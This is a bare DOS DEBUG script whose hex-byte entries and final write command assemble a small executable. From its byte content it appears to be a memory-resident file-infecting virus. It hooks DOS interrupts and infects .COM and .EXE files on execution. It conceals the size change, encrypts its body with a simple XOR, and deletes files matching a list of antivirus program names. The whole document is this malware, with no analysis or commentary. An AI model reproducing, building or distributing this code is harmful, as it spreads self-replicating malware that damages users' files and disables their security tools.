0210 64 01 B4 4A CD 21 73 03 E9 C7 00 0E 07 C6 86 26 E 0220 04 00 C6 86 25 04 00 B8 00 58 CD 21 89 86 74 01 E 0230 B8 02 58 CD 21 73 03 E9 A8 00 88 86 76 01 B8 01 E 0240 58 BB 02 00 CD 21 B8 03 58 BB 00 00 CD 21 BB D7 E 0250 00 B4 48 CD 21 72 65 50 48 8E C0 40 26 C7 06 00 E 0260 00 5A 00 26 C7 06 01 00 08 00 B8 21 35 CD 21 89 E 0270 9E 05 04 8C 86 07 04 89 9E 0D 04 8C 86 0F 04 E8 E 0280 C3 00 3D FF 00 74 08 8C 86 0F 04 89 86 0D 04 B8 E 0290 13 35 CD 21 89 9E 09 04 8C 86 0B 04 07 06 BE 00 E 02A0 01 03 F5 BF 00 01 B9 02 0B F3 A4 BA 31 04 B8 21 E 02B0 25 1F CD 21 BA BD 07 B8 13 25 CD 21 0E 1F FF B6 E 02C0 5C 01 07 BB FF FF B4 4A CD 21 B4 4A CD 21 8A 9E E 02D0 76 01 32 FF B8 03 58 CD 21 8B 9E 74 01 B8 01 58 E 02E0 CD 21 80 BE 77 01 01 75 0E 8B BE 66 01 BE 6A 01 E 02F0 03 F5 B9 03 00 F3 A4 E9 C7 FE 06 50 53 51 52 56 E 0300 57 B8 00 FA BA 45 59 CD 16 81 FF 59 45 75 17 B8 E 0310 02 FA BA 45 59 B3 00 CD 16 80 E1 17 8A D9 B8 02 E 0320 FA BA 45 59 CD 16 1E 33 C0 8E D8 C4 36 84 00 1F E 0330 26 8B 04 3D EB 05 75 05 26 C7 04 90 90 5F 5E 5A E 0340 59 5B 58 07 C3 B4 52 CD 21 72 75 26 8B 47 FE 89 E 0350 86 CF 03 33 C0 8E C0 26 C4 06 04 00 89 86 C6 03 E 0360 8C 86 C8 03 2E C6 86 CE 03 00 2E 89 AE D7 03 FA E 0370 33 C0 8E C0 BB D1 03 03 DD 26 89 1E 04 00 26 8C E 0380 0E 06 00 FB 9C 58 80 CC 01 50 9D B4 0B FA 9C 2E E 0390 FF 9E 05 04 9C 58 25 FF FE 50 9D FA 1E 33 C0 8E E 03A0 D8 2E C4 86 C6 03 A3 04 00 8C 06 06 00 1F FB 80 E 03B0 BE CE 03 01 75 0B 8B 86 CC 03 8E C0 8B 86 CA 03 E 03C0 C3 B8 FF 00 EB FA 00 00 00 00 00 00 00 00 00 00 E 03D0 00 55 8B EC 50 56 BE 00 00 8B 46 04 2E 3B 84 CF E 03E0 03 76 04 5E 58 5D CF 2E 89 84 CC 03 8B 46 02 2E E 03F0 89 84 CA 03 2E C6 84 CE 03 01 81 66 06 FF FE EB E 0400 E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0420 00 00 00 00 00 00 00 2A 2E 63 6F 6D 00 FB B0 03 E 0430 CF 80 FC 4B 75 1E 3C F0 74 11 3C 05 74 11 3C 03 E 0440 74 0D 2E C6 06 23 04 00 E9 77 03 BF 68 73 CF 2E E 0450 FF 2E 05 04 2E 80 3E 25 04 01 74 3A 2E 80 3E 26 E 0460 04 01 74 32 80 FC 4E 75 02 EB 30 80 FC 4F 75 02 E 0470 EB 29 80 FC 11 74 5F 80 FC 12 74 5A EB 00 3D 00 E 0480 57 75 03 E9 A6 00 80 FC 42 75 03 E9 BF 00 80 FC E 0490 3F 75 03 E9 F4 00 2E FF 2E 05 04 9C 2E FF 1E 05 E 04A0 04 72 02 EB 03 CA 02 00 E8 11 07 B4 2F CD 21 26 E 04B0 8B 47 18 25 00 FE B1 09 D3 E8 3D 5A 00 76 11 26 E 04C0 81 6F 1A 02 0B 26 83 5F 1C 00 26 81 6F 18 00 C8 E 04D0 E8 FE 06 CA 02 00 9C 2E FF 1E 05 04 E8 DD 06 3C E 04E0 FF 75 02 EB 41 B4 2F CD 21 26 80 3F FF 74 08 BE E 04F0 19 00 BF 1D 00 EB 06 BE 20 00 BF 24 00 26 8B 00 E 0500 25 00 FE B1 09 D3 E8 3D 5A 00 76 1A 26 81 29 02 E 0510 0B 26 83 59 02 00 26 81 69 F9 02 0B 26 83 59 FB E 0520 00 26 81 28 00 C8 E8 A8 06 CA 02 00 9C 2E FF 1E E 0530 05 04 9C 50 51 8B C2 25 00 FE B1 09 D3 E8 3D 5A E 0540 00 76 04 81 EA 00 C8 59 58 9D CA 02 00 3C 02 75 E 0550 18 0B CA 75 14 E8 AA 05 73 0F B9 FF FF BA FE F4 E 0560 9C 2E FF 1E 05 04 CA 02 00 2E FF 2E 05 04 00 00 E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0580 00 00 00 00 00 00 00 00 00 00 83 FB 05 73 02 EB E 0590 40 E8 6E 05 73 3B 2E 8C 1E 80 05 0E 1F A3 82 05 E 05A0 89 1E 6E 05 89 0E 70 05 89 16 86 05 8C 06 7E 05 E 05B0 EB 44 2E 8B 0E 70 05 2E 8B 1E 6E 05 2E 8B 16 86 E 05C0 05 2E A1 7E 05 8E C0 2E A1 80 05 8E D8 2E A1 82 E 05D0 05 2E FF 2E 05 04 2E 8B 0E 70 05 2E 8B 16 86 05 E 05E0 2E 8B 1E 7E 05 8E C3 2E 8B 1E 80 05 8E DB 2E 8B E 05F0 1E 6E 05 CA 02 00 B8 01 42 33 C9 33 D2 9C 2E FF E 0600 1E 05 04 72 AD A3 72 05 89 16 74 05 03 06 70 05 E 0610 83 D2 00 A3 76 05 89 16 78 05 B8 02 42 33 C9 33 E 0620 D2 9C 2E FF 1E 05 04 2D 02 0B 83 DA 00 A3 7A 05 E 0630 89 16 7C 05 B8 00 42 8B 0E 74 05 8B 16 72 05 9C E 0640 2E FF 1E 05 04 73 03 E9 68 FF A1 72 05 3D 1D 00 E 0650 72 11 8B 1E 74 05 C4 0E 7A 05 8C C2 E8 28 01 72 E 0660 20 EB 35 C4 06 76 05 8C C3 33 D2 B9 1D 00 E8 16 E 0670 01 72 2C C4 0E 7A 05 8C C2 E8 0B 01 72 5E E9 D5 E 0680 00 C4 06 76 05 8C C3 C4 0E 7A 05 8C C2 E8 F7 00 E 0690 72 03 E9 D0 00 E9 CA 00 B8 00 00 F8 E9 37 FF BA E 06A0 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 F8 E 06B0 00 8B 16 86 05 8B 0E 70 05 8B 1E 6E 05 B4 3F FF E 06C0 36 80 05 1F 9C 2E FF 1E 05 04 0E 1F 8B 0E 78 05 E 06D0 8B 16 76 05 B0 00 E8 D0 00 E9 FA FE 8B 0E 70 05 E 06E0 8B 1E 6E 05 8B 16 86 05 FF 36 80 05 1F B4 3F 9C E 06F0 2E FF 1E 05 04 73 03 E9 DC FE 0E 1F A3 88 05 BA E 0700 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 98 E 0710 00 73 03 59 EB 7E 59 FF 36 80 05 58 8B 16 86 05 E 0720 03 16 72 05 15 00 00 8E D8 2E 8B 1E 6E 05 B4 3F E 0730 9C 2E FF 1E 05 04 73 02 EB 5A 0E 1F 8B 0E 74 05 E 0740 8B 16 72 05 03 16 88 05 83 D1 00 32 C0 E8 59 00 E 0750 A1 88 05 E9 80 FE A1 7A 05 2B 06 72 05 8B C8 E9 E 0760 7E FF E9 4D FE 8B 0E 7A 05 2B 0E 72 05 51 8B 1E E 0770 6E 05 8B 16 86 05 B4 3F FF 36 80 05 1F 9C 2E FF E 0780 1E 05 04 59 E9 6C FE 3B DA 77 08 72 06 3B C1 77 E 0790 02 72 00 C3 2E 8B 16 72 05 2E 8B 0E 74 05 32 C0 E 07A0 E8 06 00 33 C0 F8 E9 2D FE 50 53 52 B4 42 2E 8B E 07B0 1E 6E 05 9C 2E FF 1E 05 04 5A 5B 58 C3 2E FF 2E E 07C0 09 04 E8 F7 03 2E C6 06 23 04 00 2E C6 06 26 04 E 07D0 00 E8 26 FB EB 09 E8 E3 03 2E C6 06 23 04 01 2E E 07E0 89 16 11 04 2E 8C 1E 13 04 2E C6 06 24 04 00 1E E 07F0 52 E8 5B 02 5A 1F B8 00 43 CD 21 73 03 E9 B0 00 E 0800 2E 89 0E 1D 04 F7 C1 04 00 74 03 E9 A2 00 B8 01 E 0810 43 83 E1 FE 9C 2E FF 1E 05 04 73 03 E9 8E 00 E8 E 0820 40 03 B8 00 3D 9C 2E FF 1E 05 04 73 02 EB 7E 8B E 0830 D8 0E 1F 89 1E 1F 04 53 B8 20 12 CD 2F 26 8A 05 E 0840 8A D8 B8 16 12 CD 2F 5B 73 02 EB 56 26 C7 45 02 E 0850 02 00 E8 AD 02 73 02 EB 49 BA 00 00 B9 1C 00 B4 E 0860 3F CD 21 72 3D 8B F2 B9 1C 00 BF E6 0B 0E 07 F3 E 0870 A4 B8 02 42 33 C9 33 D2 9C 2E FF 1E 05 04 73 02 E 0880 EB 20 A3 70 01 89 16 72 01 2E 81 3E 00 00 4D 5A E 0890 75 05 E8 ED 00 EB 0B 81 3E 70 01 30 F2 77 03 E8 E 08A0 64 00 E8 28 00 B4 3E 9C 2E FF 1E 0D 04 E8 3E 00 E 08B0 E8 BE 01 2E 80 3E 23 04 01 74 08 E8 13 03 2E FF E 08C0 2E 05 04 2E C6 06 23 04 00 E8 05 03 C3 B8 01 57 E 08D0 8B 1E 1F 04 8B 0E 1B 04 8B 16 19 04 80 3E 24 04 E 08E0 01 75 04 81 C2 00 C8 9C 2E FF 1E 0D 04 C3 8B 0E E 08F0 1D 04 B8 01 43 8B 16 11 04 8B 1E 13 04 53 1F 9C E 0900 2E FF 1E 0D 04 C3 2E A1 02 00 80 FC FF 74 72 3C E 0910 FF 74 6E 8B 1E 70 01 83 EB 03 89 1E 6E 01 B8 00 E 0920 42 2E 8B 1E 1F 04 33 D2 33 C9 9C 2E FF 1E 0D 04 E 0930 72 4F B4 40 B9 03 00 BA 6D 01 9C 2E FF 1E 0D 04 E 0940 72 3F B8 02 42 33 D2 33 C9 9C 2E FF 1E 0D 04 72 E 0950 30 C7 06 66 01 00 01 C6 06 77 01 01 2E A1 00 00 E 0960 A3 6A 01 2E A0 02 00 A2 6C 01 C7 06 64 01 00 10 E 0970 A1 70 01 05 13 01 A3 07 01 E8 1C 01 C6 06 24 04 E 0980 01 C3 0E 07 BE 00 00 83 7C 06 01 77 01 C3 80 7C E 0990 18 40 75 01 C3 80 7C 1A 00 74 01 C3 8B 16 72 01 E 09A0 A1 70 01 E8 E1 00 40 3B 44 04 74 01 C3 8B 44 16 E 09B0 A3 5A 01 8B 44 0E A3 62 01 8B 44 10 A3 60 01 8B E 09C0 44 14 A3 66 01 8B 16 72 01 A1 70 01 8B 5C 08 B1 E 09D0 04 D3 E3 2B C3 83 DA 00 8B D8 83 E3 0F 89 5C 14 E 09E0 B9 04 00 D1 FA D1 D8 E2 FA 89 44 0E 89 44 16 A3 E 09F0 64 01 C7 44 10 02 0C A1 70 01 8B 16 72 01 05 02 E 0A00 0D 83 D2 00 E8 80 00 89 5C 02 89 44 04 33 C9 BA E 0A10 00 00 8B 1E 1F 04 B8 00 42 CD 21 72 31 B4 40 B9 E 0A20 1C 00 BA 00 00 9C 2E FF 1E 05 04 72 21 B8 02 42 E 0A30 33 D2 33 C9 CD 21 72 16 C6 06 77 01 00 8B 44 14 E 0A40 05 13 00 A3 07 01 E8 4F 00 C6 06 24 04 01 C3 E8 E 0A50 6A 01 0E 1F B8 24 35 CD 21 89 1E 01 04 8C 06 03 E 0A60 04 B8 24 25 BA 2D 04 9C 2E FF 1E 0D 04 E8 61 01 E 0A70 C3 E8 48 01 2E 8B 16 01 04 A1 03 04 8E D8 B8 24 E 0A80 25 CD 21 E8 4B 01 C3 8B D8 81 E3 FF 01 B9 09 00 E 0A90 F8 D1 EA D1 D8 E2 F9 C3 0E 07 FF 06 78 01 FC BA E 0AA0 02 0B BE 00 01 8A 26 70 01 80 F4 AA 88 26 0F 01 E 0AB0 8A 26 70 01 80 F4 AA BF 00 00 33 C9 AC 81 FE 13 E 0AC0 01 76 08 81 FE E6 0B 77 02 32 C4 AA 41 81 F9 FA E 0AD0 00 76 02 EB 04 3B CA 75 E3 2B D1 52 8B 1E 1F 04 E 0AE0 BA 00 00 B4 40 9C 2E FF 1E 05 04 5A 72 13 0B D2 E 0AF0 74 0F EB BC FF 0E 78 01 83 3E 78 01 20 75 02 EB E 0B00 FE C3 53 50 51 52 B8 00 57 9C 2E FF 1E 05 04 2E E 0B10 89 16 19 04 2E 89 0E 1B 04 81 E2 00 FE B1 09 D3 E 0B20 EA 83 FA 5A 72 06 F9 5A 59 58 5B C3 F8 EB F8 46 E 0B30 2D 50 52 00 54 42 41 56 00 53 43 41 4E 00 4D 53 E 0B40 41 56 00 43 50 41 56 00 54 42 4D 45 00 54 42 46 E 0B50 49 00 54 42 53 43 00 56 49 52 53 00 54 42 44 52 E 0B60 00 00 E8 57 00 0E 07 2E A1 13 04 8E D8 2E 8B 36 E 0B70 11 04 46 80 3C 00 75 FA 4E 80 7C FF 5C 75 F9 B9 E 0B80 04 00 BF 2F 0B E8 10 00 73 0A 8B D6 B4 41 9C 2E E 0B90 FF 1E 0D 04 E8 3A 00 C3 8B C1 33 D2 FC 8B C8 56 E 0BA0 F3 A6 5E 74 13 26 80 3D 00 74 03 47 EB F7 47 26 E 0BB0 80 3D 00 74 05 42 EB E5 F9 C3 F8 C3 2E 8F 06 21 E 0BC0 04 9C 50 53 51 52 55 56 57 06 1E 2E FF 36 21 04 E 0BD0 C3 2E 8F 06 21 04 1F 07 5F 5E 5D 5A 59 5B 58 9D E 0BE0 2E FF 36 21 04 C3 R CX 0AE6 W Q